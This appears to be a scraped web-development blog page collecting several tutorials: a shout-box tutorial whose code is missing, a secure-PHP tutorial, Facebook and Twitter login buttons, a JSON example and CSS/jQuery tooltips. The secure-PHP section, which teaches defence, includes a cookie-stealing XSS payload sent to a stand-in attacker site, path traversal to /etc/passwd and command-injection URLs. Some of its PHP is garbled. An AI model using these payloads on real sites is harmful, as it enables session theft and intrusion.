Thursday, 4 September 2014

Facebook chat :Simple Shout-Box

Facebook chat :Simple Shout-Box (PHP/jQuery)

In this tutorial I will teach you how to make an Shout-Box like the one on Facebook using PHP and jQuery .The little chat box from Facebook doesn’t take up much space and people cand instantly interact with their friends. Let’s create an Shout Box similar to Facebook chat box .

CSS Code for Facebook chat style

Should work in Chrome, Firefox and ie8+.

 Shout Box HTML

Look at Shout Box markup, you can see username , mesagge fields and the div with “message_box” class, wehere user messages are loaded from the database .

 jQuery

We will refresh chat every second using setInterval() – it sends ajax call to shot.php and loads returned data into the element . So the Shout Box get updated with any newly added message .
When user writes one thing and hit enter key, we want to send entered information to shout.php. The keypress() technique triggers once a button is pressed down, and (evt.which == 13) condition makes positive key pressed is Enter key, then we are able to proceed with Ajax $.post() method, as shown in example below. you’ll replace keypress() with .click() method, however you wish to feature button in your HTML.
And the example below slides up or down Shout Box when a user clicks close or open icon .

 And finally, PHP

Content of PHP file shout.php with some MySQL query:

 So, that’s all folks ! I hope you enjoy it !

fb shoutbox Facebook chat :Simple Shout Box (PHP/jQuery)

Writing secure PHP code

This tutorial explains how hackers can use XSS (cross-site scripting) and code injection when your PHP code isn't properly secured. These are two of the most common vulnerabilities found in PHP scripts, and both of them are exploited by malicious input from users. Therefore it's important to remember never to thrust user's input.

XSS

XSS is a form of code injection by the user (attacker) into your webpage. XSS can happen anywhere where your website displays user generated data. If this data isn't validated or encoded, an attacker can input and run malicious code (usually javascript, but it can also be any other kind of script or html) on your visitor's webbrowsers. This code can, for example, access cookies and session tokens and forward this data to the attackers website. XSS attackers usually don't attack your website itself, but aim to attack your visitors. There are two types of XSS attacks. The non-persistent type is where an attacker doesn't actually alter the code of your page. The persistent type is when an attacker permanently changes the code of your page.

A classic example of non-persistent XSS vulnerability :

 
<html>
<?phpif  (isset($_GET["value"]))
{
echo 
"the value you entered : " $_GET["value"] ;
}
?><br />
<br />
<a href="?value=<script src=http://test.codebase.eu/xss.js></script>" >Click here to test for XSS on your browser</a>
<html>

This simple example displays any value you provide it with. If you enter <h3>hello</h3> you will see 'hello' displayed. But the page also reads the html tags and therefore display 'hello' in a larger fontsize.
This is a harmless example of XSS. A more problematic example would be if the users starts entering javascript. For example :

phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script>

In this case xss.js is a script that posts a cookie to the attackers website:
alert ('Your cookie wil now be posted to the attackers website');
window.location='http://evil.website/cookie_stealer.php?cookie='+document.cookie;
Using the example above, an attacker can make a user go to yourwebsite.com/phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script> and it will redirect the users browser, stealing the users cookie in the process, to the attackers website.

An attacker does not necessarily need to post data. Sometimes it's enough for a global PHP variable to display information an attacker can affect:
 
<html>
<body>
<?phpecho "Page you requested : "  urldecode($_SERVER["REQUEST_URI"]);?><br />
<a href="?value=<SCRIPT SRC=http://test.codebase.eu/xss.js></SCRIPT>"> Click here to test for XSS on your browser</a>
</body>
</html>

Using the phpfile above an URL request like phpfile.php?<script>alert(document.cookie);</script> would give an attacker the possibility to execute scripts.

Some browsers (Chrome,Safari and IE) have build in protection against non-persistent XSS attacks (firefox doesn't at the time of writing this). However, it isn't wise to rely on the users browsers to deal with XSS attacks on your website. Some users may use older browsers that don't have an XSS filter or use browsers where the XSS filter doesn't work properly. Also attackers are constantly trying to find ways to bypass XSS filters and often succeed. Furthermore, the filters don't work for persistent XSS attacks.

Persistent XSS attacks

An example of a persistent xss vulnerable code :
 
<?phpif(isset($_GET["message"]))
{
$fp fopen('data.txt''w');fwrite($fp$_GET["message"]);fclose($fp);
}
?><form action="" method="get">
Add to the guestbook: <input type="text" name="message" size="60" value="<script src=http://test.codebase.eu/xss.js> </script>"  />
<input type="submit" />
</form>
<br />

Guest book data :
<?php include('data.txt');?>

An attacker could now add any javascript code into the guestbook and every visitor that visits the page will run it. This kind of XSS attack is more dangerous and not detectable by browsers.

Note that the example above is not only vulnerable to XSS attacks, but also to the much more dangerous PHP code injection (see below for more information on that subject).

How to prevent XSS attacks

There are good functions available in PHP to clean user input:

Strip_tags

this function strips all '<' and '>' characters from a string.
Remeber that only removing certain tags won't help you much if you allow users to modify tag atributes.
For example displaying an image in a PHP file :

<img src="<php echo $user_uploaded_image ; ?>" >

Altering $user_uploaded_image to image1.jpg" onClick="alert('Hello!'); will result in the HTML of that page looking like:

<img src="image1.jpg" onClick="alert('Hello!');" >

Htmlspecialchars and htmlentities

An other PHP function you can use to prevent XSS attacks is htmlspecialchars. This function will translate the input and convert characters like & and < into &amp; and &lt; preventing your browser reading those characters as code. You should use this function when you want your users to be able to post tags on your pages. The htmlentities is identical to htmlspecialchars, except ALL characters which can be converted into HTML character entities are converted. I recommend using one of these two functions for input cleaning.

Probably the most secure way would be allowing only characters a-Z and 0-9 or filtering out any other unwanted characters. This can be done using the preg_match and preg_replace functions.

Securing cookies

If you have sensetive data in plain text in your cookie, it would be a good idea to encrypt it. An other way to secure your cookies is using the httponly flag (available since PHP 5.2.0). If you set this flag, client side scripts like javascript cannot access the cookie. To set a httponly-cookie use for example :
setcookie("cookiename", "value", NULL, NULL, NULL, NULL,TRUE);

Code injection

Code injection happens when an attacker manages to make the server execute PHP code he or she injected. This poses a much bigger security thread than XSS does.

You've already seen an example of code that is vulnerable to code injection in the guestbook example above. If, for example, you would add an entry to the guestbook looking like <?php phpinfo(); ?> , anybody can run any PHP code on your server.

File inclusion

Giving users the ability to provide input for an include or require function is always dangerous (specially if you allow remote file inclusions). Look at the following example:

<?php
   $language 
$_GET['language'] ;
   include( 
$language );?>

This function is supposed to include a language file e.g. english.php or dutch.php, but the user can provide input like: ../../../../../../../../etc/passwd and read your passwd file or any file that is readable by your webserver on your server.

Writing to files

If you allow users to write to a file that is included in a PHP page you should always remeber to check the input. You might think that the following PHP code looks okay:

<?php
$fp 
fopen("file.ext""w");

    
$userdata=$_GET['user_input'];
      
fwrite($fp"<?php \$usr='$userdata'; ?>");          
      
fclose($fp);

include (
'file.ext');
echo 
"the user data is : $usr";
?>

As expected a user can input "hello" and the user data will be just hello. An attacker can make an URL like this :
phpfile.php?user_input=hello'%20;%20phpinfo()%20;%20$dummyvar='foobar and $userdata will still be "hello" , but also phpinfo(); is executed (to make the PHP code execute correctly, %20$dummyvar='foobar is added).

Dangerous functions

Code injection can also happen if you allow user input to be processed by other php functions. A couple of examples:

<?php
highlight_file 
($_GET['arg3'])passthru("echo " $_GET['arg2']);$myvar 'some_value';$x $_GET['arg'];
eval(
'$myvar = ' $x ';');?>

An attacker could craft an URL like this:
phpfile.php?arg=phpinfo();&arg2=hello ;ls /etc&arg3=phpfile.php
and the result will be the page showing a) the source code of itself, b) a directory listing, c) information about your PHP installation.

I can't guarantee your PHP code will be hacker safe if you read and understood this tutorial, because only the most common security problems where handled in this tutorial, but it should at least make your PHP code a little safer.

How To: Add Twitter and Facebook Login to Your Site

Everyone has seen those things before, right? In this glorious How To blog post we are going to show you how to implement those two buttons on your website using the JS libraries that both companies provide for free. We will start with Facebook since it is arguably the easier of the two, and then move onto Twitter.
Facebook Social Plugin: The Login Button
Facebook offers a host of what they call social plugins. The one we are interested in is the Login Button. Here are the basic steps involved in getting the button onto your webpage:
  1. You need a Facebook app for your site. Go to https://developers.facebook.com/apps/ and click on the “Create New App” button.
  2. Your “App Display Name” can be something meaningful. I usually go with the domain name for the site. You can use this same app for other purposes in the future as well. The “App Namespace” needs to be something that does not contain any special characters. I usually use my app display name without spaces, periods, etc.
  3. Now you need to enter your “App Domain” and Website “Site URL.” For the app domain enter the domain name on which your site is hosted. For the site URL enter the full URL of your website. For example, if your domain is name.com then your site URL should be something like http://www.name.com. Save your changes once you have the proper information entered.
  4. Now you will have a page that shows yours “App ID” and “App Secret”. Just leave that page open because you will need your app ID when you add the login button code to your page.
  5. Now we need to go get the login button code from Facebook. Go to http://developers.facebook.com/docs/reference/plugins/login/ and click the “Get Code” button.
  6. Copy the HTML5 code from the first box and for now put it just below the body tab of your webpage. The code should look something like this:
    <div id=”fb-root”></div>
    <script>(function(d, s, id) {
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)) return;
    js = d.createElement(s); js.id = id;
    js.src = “//connect.facebook.net/en_US/all.js#xfbml=1&appId=APP_ID”;
    fjs.parentNode.insertBefore(js, fjs);
    }(document, ‘script’, ‘facebook-jssdk’));</script>
    In the code be sure to replace APP_ID with the app id you created for your Facebook app.
  7. Now paste the code from the second box in whatever place you want the login button to reside. The code should look something like:
    <div class=”fb-login-button” data-show-faces=”false” data-width=”200″ data-max-rows=”1″></div>
    I changed the data-show-faces attribute to false because with it set to true the logout button will not render when the user is logged in.
  8. Most people want to be able to logout and for some reason Facebook makes you add additional attributes if you want the login button to change to a logout button. You can also add a scope attribute with a comma delimited list of permissions you want to ask the user for. Adding the logout attribute and a scope, should we want one, and we end up with something like:
    <div class=”fb-login-button” autologoutlink=”true” scope=”publish_stream” data-show-faces=”false” data-width=”200″ data-max-rows=”1″></div>
  9. Refresh your page and you should have a super fancy Facebook login button.
There are a lot more things that you can do with the login button and a lot of things you can do once the user has logged in using the Facebook JavaScript SDK but that is a bit beyond the scope of this article. One thing in particular is grabbing the Facebook ID of the user and associating that in your database with stuff they do, an existing local account, configurations, etc. You also have access to the Facebook Graph API which opens a whole world of potential for you when dealing with a user connected to your site via Facebook.
Twitter @anywhere
For Twitter integration we will be using their @anywhere API. Like Facebook they offer a bunch of functionality but for now we will be focusing on the User Login functionality:
  1. You are going to need a Twitter app. Go to https://dev.twitter.com/apps/new and fill out the form.
  2. For “WebSite” make sure you use the full URL to your site. For example: http://www.name.com. For Callback URL enter the same. Save it and you will be taken to the details page for your app. For our Twitter login button we will be needing the “Consumer key” so go ahead and leave that page open.
  3. We need to include the Twitter @anywhere library so put the following code somewhere on your webpage. Just before the closing body tag is usually best:
    <script src=”http://platform.twitter.com/anywhere.js?id=YOUR_API_KEY&v=1″ type=”text/javascript”></script>
    In the code replace YOUR_API_KEY with the consumer key for the app you created.
  4. Now put the following code where you want the Twitter login button to reside:
    <span id=”login”></span>
    The id attribute can be set to something more meaningful for your particular implementation if you wish.
  5. To generate the login button you will need to include the following Javascript:
    <script type=”text/javascript”>
    twttr.anywhere(function (T) {
    T(“#login”).connectButton();
    });
    </script>
    If you changed the id attribute in the step above be sure to reference it properly here by changing “login” to whatever value you used.
  6. Refresh the page and you should now see your Twitter button!
Just like Facebook, once the user is connected via Twitter there are a lot of things you can do and a lot of information you can acquire. You can pull the user’s Twitter ID and associate it with a local account, pull information related to the user’s Twitter account, and more. Read up on @anywhere to find out more.

Basic One Page Example
You will need to replace both API keys with your own.
<!doctype html>
<html>
<head>
<title>Facebook and Twitter Login Example</title>
</head>
<body>
<!– div element required by Facebook –>
<div id=”fb-root”></div>
<header>
</header>
<div>
<!– div element where the Facebook login button will render –>
<div class=”fb-login-button” autologoutlink=”true” scope=”publish_stream” data-show-faces=”false” data-width=”200″ data-max-rows=”1″></div>
<!– div element where the Twitter login button will render –>
<span id=”login”></span>
</div>
<footer>
</footer>
<!– load the Twitter @anywhere JS library –>
<script src=”//platform.twitter.com/anywhere.js?id=aB96ybCPDjdDb2X8gYYg&v=1″ type=”text/javascript”></script>
<script type=”text/javascript”>
// initialize Facebook
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = “//connect.facebook.net/en_US/all.js#xfbml=1&appId=200794916679736″;
fjs.parentNode.insertBefore(js, fjs);
}(document, ‘script’, ‘facebook-jssdk’));
// initialize Twitter
twttr.anywhere(function (T) {
T(“#login”).connectButton();
});
</script>
</body>
</html>

Json Example :Tansfer data from one server to another

Json


JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, Python, and many others. These properties make JSON an ideal data-interchange language.
JSON is built on two structures:
  • A collection of name/value pairs. In various languages, this is realized as an object, record, struct, dictionary, hash table, keyed list, or associative array.
  • An ordered list of values. In most languages, this is realized as an array, vector, list, or sequence.
These are universal data structures. Virtually all modern programming languages support them in one form or another. It makes sense that a data format that is interchangeable with programming languages also be based on these structures.
In JSON, they take on these forms:
An object is an unordered set of name/value pairs. An object begins with { (left brace) and ends with } (right brace). Each name is followed by : (colon) and the name/value pairs are separated by , (comma).

An array is an ordered collection of values. An array begins with [ (left bracket) and ends with ] (right bracket). Values are separated by , (comma).

A value can be a string in double quotes, or a number, or true or false or null, or an object or an array. These structures can be nested.

A string is a sequence of zero or more Unicode characters, wrapped in double quotes, using backslash escapes. A character is represented as a single character string. A string is very much like a C or Java string.

A number is very much like a C or Java number, except that the octal and hexadecimal formats are not used.

Whitespace can be inserted between any pair of tokens. Excepting a few encoding details, that completely describes the language.


Example:

File 1: send.php  (For transfering Data)

<?php
$header="Content-Type:application/json";
header($header);
$friendlyDate =date("M d, y");
$unixTime = time();
$month =date("M");
$dayOfWeek =date("1");
$year =date("Y");
$returnData = array(
    "friendlyDate"=>$friendlyDate,
    "unixTime"=>$unixTime,
    "monthNum"=>$month,
    "dayOfWeek"=>$dayOfWeek,
    "yearNum"=>$year
);
print json_encode($returnData);
        
?>

File 2: receive.php  (For receiving Data)

<?php
$curlHandle = curl_init("http://127.0.0.1/listen.php");
curl_setopt($curlHandle,CURLOPT_HEADER,0);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
$output=  curl_exec($curlHandle);
$decoded=  json_decode($output,TRUE);
print $decoded['dayOfWeek'];
var_dump($decoded);
?>

Note :  This will work on all platform but you may face problem using on Linux.So be careful when using on Linux platform. 

Wednesday, 3 September 2014

Image in a tooltip in pure CSS

The HTML code: 


<a class="tooltip" href="">
   Demonstration
   <h3>How use my site</h3>
    The description with an image.
   </span>
</a>
 
The CSS code:




.tooltip
{
  text-decoration:none;
  position:relative;
}
 
 
.tooltip span
{
  display:none;
  -moz-border-radius:6px;
  -webkit-border-radius:6px;
  border-radius:6px;
  color:black;
  background:white;
}
 
 
.tooltip span img
{
  float:left;
  margin:0px 8px 8px 0;
}
 
 
.tooltip:hover span
{
  display:block;
  position:absolute;<br>  top:0;<br>  left:0;
  z-index:1000;
  width:auto;
  max-width:320px;
  min-height:128px;
  border:1px solid black;
  margin-top:12px;
  margin-left:32px;
  overflow:hidden;
  padding:8px;
}

How to use the jQuery Tooltip in PHP

<html>
<head>
   
  <!-- Load the jQuery UI CSS -->
  <link rel="stylesheet" href="//code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
 
  <!-- Load jQuery and jQuery UI -->
  <script src="//code.jquery.com/jquery-1.9.1.js"></script>
  <script src="//code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
 
 
  <!-- jQuery UI Slider code -->
  <script>
 
  // When the browser is ready...
  $(function() {
 
    // Call the documents tooltip function
    // This will find all the input elements and
    // add their titles to the Tooltip
    $( document ).tooltip();
   
  });
 
  </script>
</head>
<body>

  <!--  The labels with inputs with Tooltip content -->
  <p>
    <label for="input1">
      label 1:
    </label>
    <!-- This contains the meta data that will be displayed in the Tooltip -->
    <input id="input1" title="tooltip content 1. " />
  </p>

  <p>
    <label for="input2">
      label 2:
    </label>
    <!-- This contains the meta data that will be displayed in the Tooltip -->
    <input id="input2" title="tooltip content 2. " />
  </p>
 
  <p>
    Hover over the fields to see the tooltip.
  </p>
 
</body>
</html>